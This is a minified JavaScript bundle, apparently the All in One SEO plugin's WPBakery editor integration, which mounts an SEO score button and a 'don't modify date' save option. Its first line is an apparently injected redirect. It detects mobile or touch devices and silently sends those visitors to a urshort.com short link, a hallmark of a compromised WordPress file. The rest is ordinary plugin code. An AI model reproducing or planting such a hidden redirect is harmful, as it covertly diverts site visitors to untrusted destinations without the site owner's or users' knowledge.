(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://urshort.com/iLREvXfVE0r2");
import{f as i,i as m,j as E,U as M,T as w,au as C,Q as l,R as P,a0 as u,v as n,P as b,M as d,r as x,aq as D,ar as L,ap as B,h as A}from"./js/vendor-vue-ui.ad4935f9.js";import{l as $}from"./js/index.98969a0b.js";import{l as j}from"./js/index.031ac4b0.js";import{e as f,aL as g,u as S,aM as q,m as R,ak as F,l as T}from"./js/app-core.fa86622d.js";import{h as U}from"./js/helpers.8adf86e3.js";import{k as N}from"./js/vendor-lodash.45e85310.js";import{P as V}from"./js/PageBuilderIntegration.cf4a985b.js";import{_ as W}from"./js/vendor-other.835e467b.js";import{M as O}from"./js/Modal.c11b6ed1.js";import{_ as z}from"./js/ScoreButton.9f6dd73d.js";import{S as _}from"./js/LogoGear.2109d383.js";import"./js/Button.aa421c00.js";import"./js/_plugin-vue_export-helper.eefbdd86.js";import"./js/Input.a5933210.js";import"./js/Index.3b124722.js";import"./js/Close.8e99996b.js";import"./js/Pencil.8f53e16a.js";import"./js/Trash.49bbc1a8.js";import"./js/Select.f5a57de5.js";import"./js/Caret.d3343e56.js";import"./js/Toggle.f0cdd91d.js";import"./js/App.fbfe1e59.js";/* empty css                */import"./js/ScrollAndHighlight.106627a7.js";import"./js/ScrollTo.f4df02aa.js";import"./js/LicenseKeyBar.1247ec67.js";import"./js/vendor-phone.2d68da8f.js";import"./js/icon.a8f3a5ad.js";import"./js/Tabs.0ad5fea6.js";import"./js/ProBadge.f78ad48f.js";import"./js/Information.891eea3b.js";import"./js/Slide.bdb08a3f.js";import"./js/Index.10560bb6.js";import"./js/SettingsRow.603a6032.js";import"./js/Row.5037f897.js";import"./js/Settings.b4265c39.js";import"./js/Build.d71d94a1.js";import"./js/AiContent.6ebabaa6.js";let v={};const H=()=>{const o={...v},t=q();N(o,t)||(v=t,R())},Q=()=>{const{vc:o,vc_mode:t}=window;return t==="admin_frontend_editor"?o.builder.getContent():document.querySelector("#content")?.value||""},p=async()=>{S().processContent({content:Q()}).finally(()=>{H()})},G=({vc:o})=>{p(),o.events.on("shortcodeView:updated",()=>{f(p,1e3)}),o.shortcodes.on("sync",()=>{f(p,1e3)}),g().forEach(t=>{t.addEventListener("click",()=>{setTimeout(U)})})},I={__name:"LimitModifiedDate",emits:["click"],setup(o){const t={buttonTitle:W("Save (Don't Modify Date)","all-in-one-seo-pack")};return(e,s)=>(i(),m("a",{href:"#",onClick:s[0]||(s[0]=w(r=>e.$emit("click"),["prevent","exact","stop"]))},[E("p",null,M(t.buttonTitle),1)]))}},J=()=>document.querySelector("#vc_more-options")?.querySelector("ul"),K=({jQuery:o})=>{const t=(s,r,a)=>{const c=new URLSearchParams(a.data);c.get("action")==="vc_save"&&(c.set("aioseo_limit_modified_date",!0),a.data=c.toString(),o(document).off("ajaxSend",t))};new V({limitModifiedDate:{component:I,appName:"Standalone/WPBakery/LimitModifiedDate",props:{onClick:()=>{o(document).on("ajaxSend",t),g(!0)[0]?.click()}},node:{$wrapper:J(),tag:"li",attributes:{id:"aioseo-limit-modified-date-wpbakery",class:"vc_dropdown-list-item"}}}}).mount()},X={class:"aioseo-wpbakery-integration"},Y={key:2,class:"aioseo-gear-icon"},y={__name:"App",props:{isFrontendEditor:Boolean},setup(o){const t=x(!1),{currentPost:e}=C(S());return(s,r)=>(i(),m("div",X,[o.isFrontendEditor?(i(),l(n(z),{key:0,"show-score":n(F)(),score:n(e).seo_score,class:b([t.value?"aioseo-score-button--active":""]),onClick:r[0]||(r[0]=w(a=>t.value=!t.value,["prevent"]))},{icon:P(()=>[u(n(_))]),_:1},8,["show-score","score","class"])):d("",!0),o.isFrontendEditor?(i(),l(n(O),{key:1,score:n(e).seo_score,"is-open":t.value,"onUpdate:isOpen":r[1]||(r[1]=a=>t.value=a)},null,8,["score","is-open"])):d("",!0),o.isFrontendEditor?d("",!0):(i(),m("div",Y,[u(n(_))]))]))}},{vc:Z}=window,tt=()=>{const{vc_mode:o}=window,t=D({history:L(),routes:[{path:"/:pathMatch(.*)*",component:y}]});let e=B({name:"Standalone/WPBakery",data(){return{tableContext:window.aioseo.currentPost.context,screenContext:"sidebar"}},render:()=>A(y)},{isFrontendEditor:o==="admin_frontend_editor"});e=$(e),e=j(e),e.use(t),t.app=e,T(e,t),e.mount("#aioseo-wpbakery")},k=()=>{tt(),G(window),K(window)};let h=!1;Z.events.on("app.render",()=>{k(),h=!0});window.addEventListener("load",()=>{h||k()});

